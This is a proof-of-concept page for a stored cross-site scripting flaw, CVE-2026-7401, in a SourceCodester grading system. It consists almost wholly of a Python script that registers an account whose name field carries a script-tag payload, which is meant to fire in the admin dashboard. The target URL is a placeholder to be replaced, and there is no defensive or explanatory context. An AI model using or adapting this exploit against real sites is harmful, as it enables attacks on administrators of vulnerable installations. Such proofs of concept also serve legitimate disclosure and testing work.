CVE-2026-7401 SourceCodester评分系统存储型XSS漏洞

import requests def exploit_xss(target_url): """ PoC for CVE-2026-7401 Exploits Stored XSS in Registration component """ register_url = f"{target_url}/index.php?action=register" # Malicious payload to be stored and executed later xss_payload = "<script>alert('CVE-2026-7401_XSS');</script>" # Vulnerable parameters payload_data = { "student_id": "12345", "full_name": xss_payload, "section": "Science", "username": "attacker", "password": "password123" } try: response = requests.post(register_url, data=payload_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[*] Check the Admin Dashboard to verify the XSS trigger.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://target-ip" # Replace with actual target IP exploit_xss(target)